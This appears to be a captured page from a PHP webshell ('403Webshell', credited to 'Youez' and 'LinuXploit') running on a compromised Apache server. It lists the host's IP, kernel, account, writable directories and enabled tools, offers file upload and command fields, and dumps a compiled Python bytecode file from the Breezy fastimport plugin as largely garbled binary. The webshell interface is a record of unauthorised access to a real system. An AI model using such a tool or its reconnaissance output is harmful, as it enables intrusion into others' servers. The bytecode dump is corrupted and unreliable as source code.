403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/breezy/plugins/fastimport/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/breezy/plugins/fastimport/__pycache__/exporter.cpython-313.pyc
�

p��g`k����SrSSKrSSKrSSKrSSKJr SSKrSSKrSSK	J
r
JrJrJ
r
JrJr SSK	Jr SSK	JrJr \R"\"5S	5 S
rSrSrS
r"SS5rg)z(Core engine for the fast-export command.�N)�	parseaddr�)�builtins�lazy_import�	lru_cache�osutils�progress�trace)�	transport�)�helpers�
marks_filez!
from fastimport import commands
��c��UbUS:Xa=[R"[[RS[R55$URS5(aSSKnURUS5$[US5$)N�-�bufferz.gzr�wb)r
�
binary_stream�getattr�sys�stdout�endswith�gzip�open)�destinationrs  �D/usr/lib/python3/dist-packages/breezy/plugins/fastimport/exporter.py�_get_output_streamrDsc����k�S�0��$�$�W�S�Z�Z��3�:�:�%N�O�O�	�	�	�e�	$�	$���y�y��d�+�+��K��&�&�c�$�SU;dURS5(agSU;agSU;ag[[U55H!n[XUS-5S:d
XS;dM! g US	S;agUR	S
5(agSU;agSU;$)
aCheck if a refname is correctly formatted.

Implements all the same rules as git-check-ref-format[1].

[1] http://www.kernel.org/pub/software/scm/git/docs/git-check-ref-format.html

:param refname: The refname to check
:return: True if refname is valid, False otherwise
s/.�.F�/s..r� s ~^:?*[���s.locks@{�\)�
startswith�range�len�ordr)�refname�is  r�check_ref_formatr+Rs���
���7�-�-�d�3�3���7�������
�3�w�<�
 ���w�1�q�5�!�"�T�)�W�Z�>�-I��!��r�{�e�������!�!���������rc��[R"SSR[S5Vs/sHn[	U/5PM sn5-S-SU5nU$s snf)a9Rewrite refname so that it will be accepted by git-fast-import.
For the detailed rules see check_ref_format.

By rewriting the refname we are breaking uniqueness guarantees provided by bzr
so we have to manually
verify that resulting ref names are unique.

:param refname: refname to rewrite
:return: new refname
s/\.|^\.|\.\.|[rr"s"]|[\177 ~^:?*[]|[/.]$|.lock$|@{|\\�_)�re�sub�joinr&�bytes)r)�x�new_refnames   r�sanitize_ref_name_for_gitr4psc���&�&�	����u�T�{�;�{�!�5�!��:�{�;�<�		=�
@�		�	
��%�K�(���<s�Ac��\rSrSrSSjrSrSrSrSrSr	S	r
SS
jrSrSr
S
rSrSrSrSrSrSrSrSrSrSrSrSrSrg)�BzrFastExporter�Nc
��XlX lX0lX@lXPlX`lXpl[5UlX�l	X�l
X�lX�l[R"SS9Ul[!["RR$S5UlSS/UlX�lU(aSUlOSUl[.R."5UlSUl0Ul0UlUR(aO[8R:"UR5n
U
b+U
R=5VVs0sHup�X�_M	 snnUlg	g	g	s snnf)
a	Export branch data in fast import format.

:param plain_format: if True, 'classic' fast-import format is
    used without any extended features; if False, the generated
    data is richer and includes information like multiple
    authors, revision properties, etc.
:param rewrite_tags: if True and if plain_format is set, tag names
    will be rewritten to be git-compatible.
    Otherwise tags which aren't valid for git will be skipped if
    plain_format is set.
:param no_tags: if True tags won't be exported at all
�)�	max_cache�get_apparent_authors�authors�author�drrN)�branch�outf�ref�
checkpoint�import_marks_file�export_marks_file�revision�set�excluded_revisions�plain_format�rewrite_tags�no_tags�baseliner�LRUCache�
tree_cache�hasattr�breezy�Revision�_multi_author_api_available�properties_to_exclude�verbose�progress_every�time�_start_time�
_commit_total�
revid_to_mark�branch_namesr�import_marks�items)�self�sourcer@rArBrCrDrErSrHrIrJrK�
marks_info�m�rs                r�__init__�BzrFastExporter.__init__�s$��6���	���$��!2��!2�� �
�"%�%���(��(���� �
�#�,�,�r�:���+2��O�O�$�$�&<�,
��(�'0��%:��"����"%�D��"&�D���9�9�;������ �������!�!�#�0�0��1G�1G�H�J��%�7A�7G�7G�7I�%J�7I�t�q�a�d�7I�%J��"�&�"��&Ks�/E	c��UR(aG[R"URURS5upURnURnOSnSnURS5 URR
XC5VVs/sH
un  nUPM nnnUR5 Ub�URS5 URR
U5VVs1sH
un  nUiM snnUlUR(a-URRU5 URSU5 [U5$s snnfs snnf)Nzfast-exportz(Calculating the revisions to include ...z(Calculating the revisions to exclude ...r)
rEr�_get_revision_ranger?�rev_id�note�iter_merge_sorted_revisions�reverserGrK�remove�insert�list)r\�rev1�rev2�start_rev_id�
end_rev_idre�_�view_revisionss        r�interesting_history�#BzrFastExporter.interesting_history�s:���=�=�!�5�5��
�
�t�{�{�M��J�D� �;�;�L����J��L��J��	�	�<�=�$(�;�;�#J�#J��$�
�$����1�a�
�$�	�
�	��� ��#��I�I�@�A�(,�{�{�'N�'N� �(�'�(�O�F�A�q�!��(�'�D�#��}�}��'�'�.�.�|�<��%�%�a��6��N�#�#��-
��'s�E�"Ec	�8�UR(aOURRRUR	S55nURX R5 [S[U5[5GHnXU[-n[URRRU55n[5n0nUH1nURURX�UUR55 M3 URU5Hn	X�U	R!5'M UHknXXn[UR"5S:Xa[$R&R(n
OUR"Sn
UR+X RXzXx5 Mm GM g)Nr)rKr?�
repository�get_revision�pop�
emit_baselinerAr&r'�REVISIONS_CHUNK_SIZE�dict�iter_revisionsrF�update�preprocess_commit�_get_revision_trees�get_revision_id�
parent_idsrOrE�
NULL_REVISION�emit_commit)r\�interesting�revobjr*�chunk�history�trees_needed�trees�revid�tree�parents           r�emit_commits�BzrFastExporter.emit_commits�sJ���=�=��[�[�+�+�8�8�����9K�L�F����v�x�x�0��q�#�k�*�,@�A�A��A�(<�$<�=�E��4�;�;�1�1�@�@��G�H�G��5�L��E����#�#��*�*�5�%�.�$�(�(�K���
�0�0��>��04�d�*�*�,�-�?��� ����v�(�(�)�Q�.�#�_�_�:�:�F�#�.�.�q�1�F�� � ����5�=�%�,�O�
�Brc� �URRR5 UR5n[	U5UlUR
SUR
-5 UR(dUR5 URU5 URR5(a!UR(dUR5 SSS5 UR5 UR5 g!,(df   N/=f)Nz#Starting export of %d revisions ...)r?ru�	lock_readrrr'rWrfrH�
emit_featuresr��
supports_tagsrJ�	emit_tags�_save_marks�
dump_stats)r\r�s  r�run�BzrFastExporter.runs���
�[�[�
#�
#�
-�
-�
/��2�2�4�K�!$�[�!1�D���I�I�;�d�>P�>P�P�Q��$�$��"�"�$����k�*��{�{�(�(�*�*�4�<�<���� �0�	
��������0�
/�s�B1C?�?
D
c�r�SRUR5U5n[R"U/UQ76 g)zOutput a note but timestamp it.z{} {}N)�format�_time_of_dayr
rf�r\�msg�argss   rrf�BzrFastExporter.notes,���n�n�T�.�.�0�#�6��
�
�
�3���rc�r�SRUR5U5n[R"U/UQ76 g)z"Output a warning but timestamp it.z{} WARNING: {}N)r�r�r
�warningr�s   rr��BzrFastExporter.warning$s.���%�%�d�&7�&7�&9�3�?��
�
�
�c�!�D�!rc�.�[R"S5$)zTime of day as a string.z%H:%M:%S)rU�strftime)r\s rr��BzrFastExporter._time_of_day)s���}�}�Z�(�(rc��U(a�XR-S:Xa�UR(aUSUR3nO[U5n[R"5UR-
S-nUS-U-nUS:�aSRU5nOSRU5nUR
SRX6U55 ggg)	Nr�/�<g�?�
zat {:.0f}/minute zat {:.1f}/minute z{} commits exported {}{})rTrW�strrUrVr�rf)r\�commit_count�details�counts�minutes�rate�rate_strs       r�report_progress�BzrFastExporter.report_progress.s����L�+>�+>�>�!�C��!�!�(�>��4�+=�+=�*>�?���\�*���y�y�{�T�%5�%5�5��;�G��#�%��/�D��b�y�.�5�5�d�;��.�5�5�d�;���I�I�0�7�7��'�R�S�D�<rc	���[R"[R"5UR-
5n[	UR
5nUR
SU[R"USS5U5 g)NzExported %d %s in %srE�	revisions)	r	�
str_tdeltarUrVr'rXrfr
�
single_plural)r\�
time_required�rcs   rr��BzrFastExporter.dump_stats<sZ�� �+�+�D�I�I�K�$�:J�:J�,J�K�
�
��#�#�
$���	�	�"���!�!�"�j�+�>��		
rc�@�URRSU-5 g)Ns%s
)r@�write)r\�cmds  r�	print_cmd�BzrFastExporter.print_cmdFs���	�	����#�
�&rc���UR(aPURR5VVs0sHupX!_M	 nnn[R"URU5 ggs snnf�N)rDrXr[r�export_marks)r\r`r_�revision_idss    rr��BzrFastExporter._save_marksIsR���!�!�-1�-?�-?�-E�-E�-G�H�-G�T�Q�A�D�-G�L�H��#�#�D�$:�$:�L�I�"��Hs�A#c��URU5S:wag[UR
US95Sn[US5S:H$![Ra# URSR	U55 gf=f)N�	directoryFz0Skipping empty_dir detection - no file_id for {})�prefixrr)�kind�_mod_transport�
NoSuchFiler�r�rk�walkdirsr')r\r��path�contentss    r�is_empty_dir�BzrFastExporter.is_empty_dirNs���	��y�y���+�-��.���
�
�T�
�2�3�A�6���8�A�;��1�$�$���(�(�	��L�L�B�I�I�$�O�
��		�s�A�4A<�;A<c��[[R5H'nUR[R	U55 M) gr�)�sorted�commands�
FEATURE_NAMESr��FeatureCommand)r\�features  rr��BzrFastExporter.emit_features]s.���h�4�4�5�G��N�N�8�2�2�7�;�<�6rc��SnSU-URUR'URRR	[
RR5n[URUR/55unURXE5nUR[RUS55 URURX#X55 g)Nr�%d)rX�revision_idr?ru�
revision_treerOrEr�rkr~�_get_filecommandsr�r��ResetCommand�_get_commit_command)r\r�rA�mark�tree_old�tree_new�	file_cmdss       rrx�BzrFastExporter.emit_baselineas�����16������6�-�-�.��;�;�)�)�7�7����8U�8U�V���$�2�2�F�4F�4F�3G�H�I�
���*�*�8�>�	����x�,�,�S�$�7�8����t�/�/��6�M�Nrc��URRU5(dXR;a/$UcSURU'/$[UR5S:Xa[
RRnOURSnS[UR5S--URUR'XBR/$)Nrr�r)	rX�getrGr'r�rOrEr�r�)r\r�r�rAr�s     rr}�!BzrFastExporter.preprocess_commitks������!�!�%�(�(�E�5L�5L�,L��I��>�(,�D���u�%��I��v� � �!�Q�&��_�_�2�2�F��&�&�q�)�F�27�#�d�>P�>P�:Q�TU�:U�1V����6�-�-�.��*�*�+�+rc��UR5[RR:Xa%UR	[
R
US55 URX45nURURnUR	URX&X55 [UR5nURU5 URbtURS:�acU(a[XpR-S:XaHURSU-5 UR5 UR	[
R!55 ggggg)Nrz1Exported %i commits - adding checkpoint to output)rrOrEr�r�r�r�r�rXr�r�r'r�rBrfr��CheckpointCommand)r\r�rAr�r�r�r��ncommitss        rr��BzrFastExporter.emit_commit�s���#�#�%����)F�)F�F��N�N�8�0�0��d�;�<��*�*�8�>�	��!�!�&�"4�"4�5�����t�/�/��6�M�N��t�)�)�*�����X�&��O�O�'����!�#���?�?�*�a�/��I�I�I�H�T�U������N�N�8�5�5�7�8�	0��$�
(rc��URS5S:XaUnSnO
[U5up#URS5URS54$)N�<r#��utf-8)�findr�encode)r\�user�name�emails    r�_get_name_email�BzrFastExporter._get_name_email�sF���9�9�S�>�R���D��E�#�D�/�K�D��{�{�7�#�U�\�\�'�%:�:�:rc
�^�URnURU5upgXgURUR4nUR(a"UR5n	U	R
S5n
O/n	UR5n
UR(dzU	(asURU
5upgXgURUR4n/nU	H>n
URU
5upgURXgURUR45 M@ O8X�:wa/URU
5upgXgURUR4nSnOSnSn/nURH8nX�R;aMURUnURSU-5 M: U(aUSnUSSnOSnSnUR(aSnO#URnURHnUU	M	 [ R#UUUUUR$R'S5UUUUUS9
$![a M�f=f![a M^f=f)Nr�:%srr�)�more_authors�
properties)�	committerr��	timestamp�timezonerQr;rw�get_apparent_authorrH�appendr�rGrX�KeyErrorr�rRr��
CommitCommand�messager�)r\�git_refr�r�r�r�r�r��committer_infor�r=�author_info�more_author_info�a�non_ghost_parents�p�parent_mark�from_�mergesr��props                     rr��#BzrFastExporter._get_commit_command�sA���$�$�	��*�*�9�5����v�'7�'7����I���+�+�!�6�6�8�L�!�%�%�a�(�F��L��/�/�1�F�� � �\��.�.�v�6�K�D���(8�(8�&�/�/�J�K�!��!��"�2�2�1�5��� �'�'��&�"2�"2�F�O�O�D��"�
�
 ��.�.�v�6�K�D���(8�(8�&�/�/�J�K�#���K�#�����"�"�A��+�+�+��
�"�0�0��3��!�(�(��+�)=�>�#��%�a�(�E�&�q�r�*�F��E��F�
����J��*�*�J��2�2���"�4�(�3��%�%������N�N�!�!�'�*����)�!�&�
�	
��1�
��
��( ����s$�$#H
�H�
H�H�
H,�+H,c#�&# �/n0nUHlnU[RR:Xa)URRRU5X4'MJX@R;dM[URU5 Mn URRRU5HnXSUR5'M UHnURUv� M UR5HupEXPRU'M g![a
 X4v� MTf=f7fr�)rOrEr�r?rur�rMr��revision_treesrr�r[)r\�revids�missing�by_revidr�r�s      rr~�#BzrFastExporter._get_revision_trees�s���������E�����5�5�5�"&�+�+�"8�"8�"F�"F�u�"M����o�o�-����u�%�	��K�K�*�*�9�9�'�B�D�/3�T�)�)�+�,�C��E�
&��o�o�e�,�,��$�>�>�+�K�E�%)�O�O�E�"�,���
&��o�%�
&�s1�AD�$AD�=C:�,D�:D�
D�
D�Dc
#��# �URU5n[UR5nURURUR
UR
5U5upVnUShv�N URHAnURURSXrR
55n	URU5 MC /n
URUR-U-U-GH�nURSS:XaSU
RURSURS[R"SUR S5445 MjURSS:Xax["R%URSR'S5[R"SS5SUR)URS5R'S55v� M�URSS:XabUR*(dN["R%URSR'S5[R"SS5SS5v� GMgGMjUR-S	R/URSURS55 GM� UR1U
5H@uup�n["R%U	R'S5USS
R3U55v� MB gGNw7f)zCGet the list of FileCommands for the changes between two revisions.Nrr�file�symlinkr�Fr�z,cannot export '{}' of kind {} yet - ignoringr)�changes_fromrk�modified�_process_renames_and_deletes�renamed�removedr�kind_changed�_adjust_path_for_renamesr�r��added�copiedr�r
�kind_to_mode�
executabler��FileModifyCommandr��get_symlink_targetrHr�r��iter_files_bytesr0)
r\r�r��changes�my_modifiedr��rd_modifiesr�changer��files_to_get�mode�chunkss
             rr��!BzrFastExporter._get_filecommandss~����'�'��1���7�+�+�,��+/�*K�*K��O�O�W�_�_�h�.F�.F�.H�(�+
�'�	������*�*�F��0�0����A���)A�)A�)C��D�
���v�&�+����m�m�g�n�n�4�{�B�[�P�F��{�{�1�~��'��#�#����A��"�K�K��N�#�0�0���9J�9J�1�9M�N�������Q��9�,��0�0��K�K��N�)�)�'�2��(�(��E�:���/�/����A��?�F�F�w�O�	�����Q��;�.��(�(�"�4�4����A��-�-�g�6��,�,�[�%�@���	��)����B�I�I����A�����A����7Q�F%-�$=�$=�l�$K� �L�T�&��,�,����G�$�d�D�#�(�(�6�2B��
�%L�e	�s�A%K!�'K�(I7K!c	���/n/n/n0n0n	UV
s1sHo�RSiM nn
UGHun
U
RSS:g=(d UR(+nU
RSU;aeU(a@UR[RU
RSR
S555 URU
RS5 URXJRS5(a0URSRU
RSU55 M�URU
R5 U
RSX�RS'U(a]UR[RU
RSR
S5U
RSR
S555 U
R(dU
R5(aURU
5 U
RS:XdGM�URU
RS/S9Htup�URS:XaUR(aM([R "U
RSU
5n[R "U
RSU
5nUX�'Mv GMx U(a�[#U	R%55n[#UR%55U-
n['U5H|nX�nUR((a!URSRUU55 UR[RUR
S5UR
S555 M~ UH~n
U
RSU;aMU
RSS:XaUR(aM>UR[RU
RSR
S555 M� XVU4$s sn
f)	Nrrr�r�zSkipping empty dir {} in rev {})r�r�)�specific_fileszimplicitly renaming {} => {})r�r�rHr�r��FileDeleteCommandr�rir�rfr��FileRenameCommand�changed_content�
meta_modified�iter_entries_by_dirr�pathjoinrF�keysr�rS)r\�renames�deletesr�r�r��modifiesr�must_be_renamed�
old_to_newr$�
deleted_paths�emitr�e�old_child_path�new_child_path�renamed_already�still_to_be_renameds                   rr�,BzrFastExporter._process_renames_and_deletesCsG���	�����,���
�6=�>�g�F���Q��g�
�>��F��;�;�q�>�[�0�I��8I�8I�4I�D��{�{�1�~��.���$�$� �2�2�6�;�;�q�>�3H�3H��3Q�R���$�$�V�[�[��^�4�� � ��;�;�q�>�:�:��	�	�5�<�<����A�����
�
�N�N�6�;�;�'�)/���Q��J�{�{�1�~�&��� � ��.�.����A��-�-�g�6����A��8M�8M�g�8V���
�%�%��)=�)=�)?�)?�����'��{�{�8�8�$�8�8�$*�K�K��N�#3�9��D�A��v�v��,��1B�1B� �%,�%5�%5�f�k�k�!�n�a�%H�N�%,�%5�%5�f�k�k�!�n�a�%H�N�6D�O�3��?�R�!�*�/�/�"3�4�O�"%�o�&:�&:�&<�"=��"O��"(�)<�"=��!0�!@���<�<��I�I�6�=�=�*�N���
� � ��.�.�&�-�-�g�6��8M�8M�g�8V���#>��F��{�{�1�~�]�2���{�{�1�~��,��1B�1B�����X�7�7����A��8M�8M�g�8V�W�X�
��G�+�+��G?s�O4c	��UH�upEX:Xa%URSRXU55 UnM/URUS-5(dMJURSRXXS55 URUS-US-5nM� U$)Nz2Changing path {} given rename to {} in revision {}r�z9Adjusting path {} given rename of {} to {} in revision {})rfr�r%�replace)r\r�rr��old�news      rr�(BzrFastExporter._adjust_path_for_renames�s����H�C��{��	�	�H�O�O��;���
������s��+�+��	�	�O�V�V��3���
�|�|�C�#�I�s�S�y�9�� ��rc�B�URRR5R5H�upURUnSURS5-nUR(aV[U5(dFUR(a![U5nURSUU5 UnOURSU5 M�UR[RUSU-55 M� g![a$ URSRX55 M�f=f)Nsrefs/tags/%sr�z,tag %r is exported as %r to be valid in git.z:not creating tag %r as its name would not be valid in git.r�z:not creating tag {!r} pointing to non-existent revision {})r?�tags�get_tag_dictr[rXr�rHr+rIr4r�r�r�r�r�r�)r\�tagr�r�r��new_refs      rr��BzrFastExporter.emit_tags�s����+�+�*�*�7�7�9�?�?�A�J�C�
N��)�)�%�0��*�C�J�J�w�,?�?���$�$�-=�g�-F�-F��(�(�";�G�"D�����J�#�#��
#*�����,�#��
!����x�4�4�W�f�t�m�L�M�7B���
����P�W�W����
�s�C0�0*D�D)rWrQrVrKr?rYrBrGrDrCrJr@rHrTrRrArXrErIrMrS)
Nr#NNNFFFFF)r�)�__name__�
__module__�__qualname__�__firstlineno__rarrr�r�rfr�r�r�r�r�r�r�r�rxr}r�r�r�r~r�rrr��__static_attributes__�rrr6r6�s���

����������<K�@!$�FP�2� �
"�
)�
T�
�'�J�

%�=�O�,�*9�.	;�G
�R*�*A�F^,�@�&Nrr6)�__doc__r.rrU�email.utilsr�
breezy.branchrO�breezy.revisionr�rrrrr	r
rr�r
r�globalsryrr+r4r6rOrr�<module>rUsi��P/�
�
��!���J�J�+�!�����I�����'� �<�D@	N�@	Nr

Youez - 2016 - github.com/yon3zu
LinuXploit